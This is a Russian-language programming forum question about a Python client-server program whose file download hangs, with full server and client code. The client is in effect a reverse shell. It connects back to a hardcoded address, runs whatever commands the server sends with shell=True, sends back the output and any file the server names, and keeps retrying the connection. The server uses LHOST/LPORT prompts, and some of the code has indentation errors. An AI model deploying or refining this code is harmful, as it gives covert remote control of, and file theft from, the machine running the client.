передача файлов между клиентом и сервером Python - PullRequest
0 голосов
/ 04 октября 2018

Привет всем и извините за мой английский.Я пытаюсь создать клиент-серверную программу на python, где сервер отправляет клиенту команду для получения информации, например dir o cd directory.Теперь я хочу реализовать метод загрузки и выгрузки файла, но у меня проблема с загрузкой (я даже не кодировал загрузку).

Единственный способ, которым он работает, - это если я поставлюbreak в цикле клиента.Но тогда клиент закрывается сам.Если я не поставлю break, программа продолжит работу до бесконечности, но я больше не могу отправлять команду, и сервер не записывает файл на диск.Так что это не работает.

Я не знаю, проблема в клиенте или на сервере.Я выложу код, чтобы вы могли проверить, что не так.

СЕРВЕР (УДАЛИТЬ ИНТЕРФЕЙС () ВЫЗОВ, ЭТО ДРУГОЙ ФАЙЛ)

import socket
import sys
import time
import interface


def socket_create():
    try:
        global s
        s = socket.socket()
    except socket.error as msg:
        print("Socket creation error: " + str(msg))
    try:
        s.bind((host, port))
        s.listen(1)
        print("Listening on " + str(host) + ":" + str(port))
    except socket.error as msg:
        print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
    conn, address = s.accept()
    print("Connection has been established | " + "IP " + address[0] + " |  Port " + str(address[1]))
    time.sleep(0.5)
    send_commands(conn)

def send_commands(conn):
    client_response = str(conn.recv(4096), "utf-8")
    print(client_response, end="")
    while True:
        try:
            cmd = input()
            if cmd == 'quit':
                conn.close()
                s.close()
                sys.exit()
            elif cmd[:8] == 'download':
                conn.send(str.encode(cmd))
                downFile = cmd[9:]
                client_response = conn.recv(1024)
                f = open(downFile, 'wb')
                print("Downloading " + downFile)
                while client_response:
                    f.write(client_response)
                    client_response = conn.recv(1024)

                    if not client_response:
                        print("Download completed")
                f.close()

            elif len(str.encode(cmd)) > 0:
                conn.send(str.encode(cmd))
                client_response = str(conn.recv(4096), "utf-8")
                print(client_response, end="")
        except (ConnectionResetError, ConnectionAbortedError):
            print("Connection with host was lost")
            s.listen(1)
            print("Listening on " + str(host) + ":" + str(port))
            conn, address = s.accept()
            print("Connection has been established | " + "IP " + address[0] + " |  Port " + str(address[1]))
            send_commands(conn)

def graphic():
    interface.gui()


def main():
  global host
  try:
    host = input("Enter your local host IP > ")
    print("Set LHOST --> %s" % host)
    global port
    port = int(input("Enter the port > "))
    print("Set LPORT --> %s" % port)
    socket_create()
 except (ValueError, OSError, OverflowError):
    print("You entered invalid data")
    main()


 if __name__ == "__main__":
    graphic()

КЛИЕНТ

import os
import socket
import subprocess
import time

def connect_to_server():    
     try:
        global host
        global port
        global s
        host = "192.168.1.3"
        port = 9999
        s = socket.socket()
        s.connect((host, port))
        s.send(str.encode(os.getcwd() + '> '))
        receive_commands()
        except (ConnectionRefusedError, ConnectionResetError, 
        ConnectionAbortedError):
        time.sleep(5)
        connect_to_server()

def receive_commands():
    while True:
        data = s.recv(1024)

        if data[:3].decode("utf-8") == 'cd ':
            try:
                cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, 
                stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE,
                                   stdin=subprocess.PIPE)

                output_bytes = cmd.stdout.read() + cmd.stderr.read()
                os.chdir(data[3:])
                s.send(str.encode(os.getcwd() + '> '))

            except FileNotFoundError:
                s.send(output_bytes + str.encode(os.getcwd() + '> '))

        elif data[:8].decode("utf-8") == 'download':

            file_name = data[9:].decode("utf-8")
            with open(file_name, 'rb') as f:
                fileToSend = f.read(1024)
                while fileToSend:
                    s.send(fileToSend)
                    fileToSend = f.read(1024)           
                break


        elif len(data) > 0:
            cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, 
            stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                               stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str(output_bytes, "utf-8", errors='ignore')
            s.send(str.encode(output_str + str(os.getcwd()) + '> '))

    while not data:
        connect_to_server()


def main():
    connect_to_server()


main()
...